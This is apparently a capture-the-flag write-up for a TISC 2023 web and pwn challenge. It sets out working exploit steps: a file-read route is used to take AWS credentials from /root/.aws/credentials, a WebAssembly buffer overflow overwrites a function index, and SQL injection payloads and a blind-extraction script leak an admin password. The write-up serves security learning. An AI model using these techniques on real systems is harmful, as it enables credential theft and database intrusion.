Skip to content

Level 8: Blind SQL Injection (Web/RE/Pwn/Cloud)

This is my favorite challenge 😃

We are given a server.js file which starts an express application.

The /api/login route passes our input to a AWS lambda function craft_query which tests the input against a blacklist. If it passes the blacklist, the result of the lambda function is executed as SQL.

js
app.post('/api/login', (req, res) => {
    // pk> Note: added URL decoding so people can use a wider range of characters for their username :)
    // dr> Are you crazy? This is dangerous. I've added a blacklist to the lambda function to prevent any possible attacks.

    const username = req.body.username;
    const password = req.body.password;
    
    // ...

    const payload = JSON.stringify({
        username,
        password
    });

    try {
        lambda.invoke({
            FunctionName: 'craft_query',
            Payload: payload
        }, (err, data) => {
            if (err) {
               // ...
            } else {
                const responsePayload = JSON.parse(data.Payload);
                const result = responsePayload;

                if (result !== "Blacklisted!") {
                    const sql = result;
                    db.query(sql, (err, results) => {
                        // ...
                    });
                } 
            }
        });
    } catch (error) {
        // ...
    }
});

Unfortunately, simple SQL injection payloads like a' or 1=1;-- return "Blacklisted!".

Therefore, our next step will be to obtain the source code for the lambda function.

Luckily, there is a route within this application that allows us to render arbitrary files as a .pug template:

js
app.post('/api/submit-reminder', (req, res) => {
    const username = req.body.username;
    const reminder = req.body.reminder;
    const viewType = req.body.viewType;
    res.send(pug.renderFile(viewType, { username, reminder }));
});

Reading /root/.aws/credentials reveals the AWS access key ID and secret:

img

Now we can use the aws cli to download the source code for the lambda:

bash
  aws lambda get-function --function-name craft_query | grep Location         
"Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/craft_query-a989953b-8c24-41f0-ac22-813b4ca32bbc?....."

 curl -o code.zip -L https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/craft_query-a989953b-8c24-41f0-ac22-813b4ca32bbc?.....

Unzipping the source code reveals a WebAssembly .wasm file, as well as a short JavaScript wrapper for the wasm module:

js
async function initializeModule() {
    return new Promise((resolve, reject) => {
        EmscriptenModule.onRuntimeInitialized = () => {
            const CraftQuery = EmscriptenModule.cwrap('craft_query', 'string', ['string', 'string']);
            resolve(CraftQuery);
        };
    });
}
let CraftQuery;
initializeModule().then((queryFunction) => {
    CraftQuery = queryFunction;
});

async function login(username, password){
    if (!CraftQuery) {
        CraftQuery = await initializeModule();
    }
    const result = CraftQuery(username, password);
    return result;
}

It seems like the function of interest is the craft_query function.

Since this is a pwn challenge, I decided to test the behavior of the code on large inputs before decompiling the WASM with Ghidra.

js
;(async ()=>{
    initializeModule();
    console.log(await login("a".repeat(100), "b".repeat(100)))
})()

As expected, the program crashed, indicating some kind of buffer overflow:

RuntimeError: memory access out of bounds
    at wasm://wasm/456522fa:wasm-function[14]:0x1131
    at wasm://wasm/456522fa:wasm-function[15]:0x1170
    at wasm://wasm/456522fa:wasm-function[9]:0xde2

Interestingly, only the username field seems to overflow the buffer.

Here's the decompiled craft_query function in Ghidra:

c
undefined4 export::craft_query(undefined4 username,undefined4 password)
{
  undefined4 uVar1;
  undefined password_stack [59];
  undefined uStack85;
  undefined uname_stack [68];
  uint func_ptr;
  undefined4 uStack8;
  undefined4 uStack4;
  
  func_ptr = 1;
  uStack8 = password;
  uStack4 = username;
  username_processing(uname_stack,username);
  unnamed_function_15(password_stack,uStack8,0x3b);
  uStack85 = 0;
  uVar1 = (**(code **)((ulonglong)func_ptr * 4))(uname_stack,password_stack);
  return uVar1;
}

The 'function pointer' on the stack is immediately suspicious. In WebAssembly, functions are referenced by their index in a global function table, so if we we can change the value of func_ptr, we can change the function that is called.

To investigate the memory layout in the craft_query function, I ran node in debug mode and attached a Chrome debugger:

bash
node --inspect-brk=0.0.0.0:9229 index.js

Setting a breakpoint at the instruction where func_ptr is called, we can observe the stack:

Screenshot 2023-10-03 105036

uname_stack is outlined in red, func_ptr is outlined in green and password_stack is outlined in blue. If we can overflow uname_stack, then we can modify func_ptr located right after it.

After doing more reversing, it turned out that username_processing did not do any bounds checking on uname_stack and copied username to uname_stack after URL-decoding it.

After yet more debugging and reversing, it seems that func_ptr points to the query_with_blacklist function (originally named is_blacklisted), which checks the username and password against a blacklist. If it passes the checks, the load_query function is called to generate the SQL query.

c
char * export::query_with_blacklist(undefined4 username,undefined4 password)
{
  uint uVar1;
  char *pcStack4;
  
  uVar1 = check_blacklist(username);
  if (((uVar1 & 1) == 0) || (uVar1 = check_blacklist(password), (uVar1 & 1) == 0)) {
    pcStack4 = s_Blacklisted!_ram_00010070;
  }
  else {
    pcStack4 = (char *)load_query(username,password);
  }
  return pcStack4;
}

Using the buffer overflow vulnerability, we can overwrite func_ptr to point to load_query instead of query_with_blacklist, thus bypassing the blacklist checks. It turns out that load_query has function index 2.

Since the uname_stack buffer is 68 bytes long, the 69th character will overwrite func_ptr:

js
;(async ()=>{
    initializeModule();
    console.log(await login("a".repeat(68)+"%02", "b\" or 1=1;--"))
})()

This allows the SQL injection payload in the password field to bypass checks:

bash
 node index.js
SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="b" or 1=1;--"

Now, all that's left is to write a fartlib script to leak the admin's password using the blind SQL injection vulnerability:

py
from fartlib import *

req = FartRequest("""
POST /api/login HTTP/1.1
Host: chals.tisc23.ctf.sg:28471
//...

username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaa%02&password=%22or(username%3d'admin'and%20ascii(substr(password%2cINDEX%2c1))%3dCHAR)%23
""")


charset = [x for x in "01357etoanihsrdluc24689g_wyfmbkvjxqzpETOANIHSRDLUCGWYFMBKVJXQZP{}"]

known = 'tisc{'
for i in range(30):
    res = HttpWorker(reqs=req.substitute(CHAR=[str(ord(x)) for x in charset],INDEX=str(len(known)+1)), show_progress=False).get_first(lambda res: res.content_length > 46)
    known += chr(int(res.payloads[0]))
    print(known)

The flag is tisc{a1PhAb3t_0N1Y}.